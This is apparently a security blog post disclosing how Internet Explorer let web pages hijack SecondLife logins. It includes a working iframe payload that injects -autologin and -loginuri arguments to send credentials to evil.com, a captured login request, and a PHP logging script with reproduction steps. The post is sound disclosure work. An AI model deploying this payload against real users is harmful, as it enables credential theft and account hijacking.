GNUCITIZEN

First of all, I must say that I am not a bug hunter. I am more on the side of tactical exploitation - you know figuring out your way through the system. I really hate using exploits and in fact, I find this approach very dull. There is no fun and value in it whatsoever. Anyway, the big news is that IE (Internet Explorer) pwns SecondLife.

Before going into details why and how it happens, I would like to bring your attention on SecondLife for a moment. For those of you who don’t follow cutting edge technologies, SecondLife is a massive virtual world located on a couple of hundred workstations on-line. The cool thing about SecondLife is that you can do all kinds of things like expressing your artistic side, communicating and of course making business. There are a lot of money into SecondLife. Not that long time ago, there was this girl who made $1000000 (a million) out of the on-line world. This means that today crooks are after your virtual persona rather then your physical self. Therefore, security in virtual worlds is almost as important as security in the physical world.

Now let’s get back to the real issue. Attackers can steal the victim’s login credentials, therefore hijacking their virtual persona, by simply tricking them into visiting a malicious Web page. Here is an example:

<iframe src='secondlife://" -autologin -loginuri "http://evil.com/sl/record-login.php'></iframe>

Upon visiting the malicious page, the SecondLife client will launch and try to login automatically (-autologin) via the CGI located at http://evil.com/sl/record-login.php. At that moment, the following request is generated to the malicious CGI script. Yes, it is XML-RPC remote call:

[HTTP_RAW_POST_DATA] => <methodCall>
    <methodName>login_to_simulator</methodName>
    <params>
        <param>
            <value>
                <struct>
                    <member>
                        <name>first</name>
                        <value>
                        <string>Elm</string>
                    </value>
                </member>
                <member>
                    <name>last</name>
                    <value>
                    <string>Blanco</string>
                </value>
            </member>
            <member>
                <name>passwd</name>
                <value>
                    <string>$1$[MD5 Hash of the password here]</string>
                </value>
            </member>
            <member>
                <name>start</name>
                <value>
                    <string>last</string>
                </value>
            </member>
            <member>
                <name>version</name>
                <value>
                    <string>1.18.2.0</string>
                </value>
            </member>
            <member>
                <name>channel</name>
                <value>
                    <string>Second Life Release</string>
                </value>
            </member>
            <member>
                <name>platform</name>
                <value>
                    <string>Win</string>
                </value>
            </member>
            …
            …
            …
</methodCall>

Notice [MD5 Hash of the password here] place holder. This is where the user password is located. The password is MD5 hashed for security reason. Well, this is definitely a good thing, although completely pointless since there are plenty of rainbow tables out there, which attackers can use to convert the hash back to normal string.

Unfortunately, I cannot construct on-line proof of concept, due to the fact that I need to expose this server to all sorts of attacks, but you can try to repeat my steps. Here is how you can do it:

1. Get Apache with PHP
2. Put the following script into a file called login.php:

   <?php
   ob_start();
   print_r($GLOBALS);
   error_log(ob_get_contents(), 0);
   ob_end_clean();
   ?>

3. Tail -f the PHP error log file. Or if you don’t know what I am talking about, just skip this step.
4. Make a page with the following HTML body:

   <iframe src='secondlife://" -autologin -loginuri "http://localhost/login.php'></iframe>

5. Open the page inside Internet Explorer (both IE6 and IE7 are exploitable).
6. After the SecondLife client fails to login, you will get a message within your php error log, which gives you the credentials plus some other useful info about the victim.

It is that simple. It is automatic and the user doesn’t have to do anything (no user interaction is required). I would rate this issue as Medium risk although if the victim have a lot of Linden dollars ($L) then the situation becomes quite critical. At the time of writing 1$ can be exchanged for 268.15$L.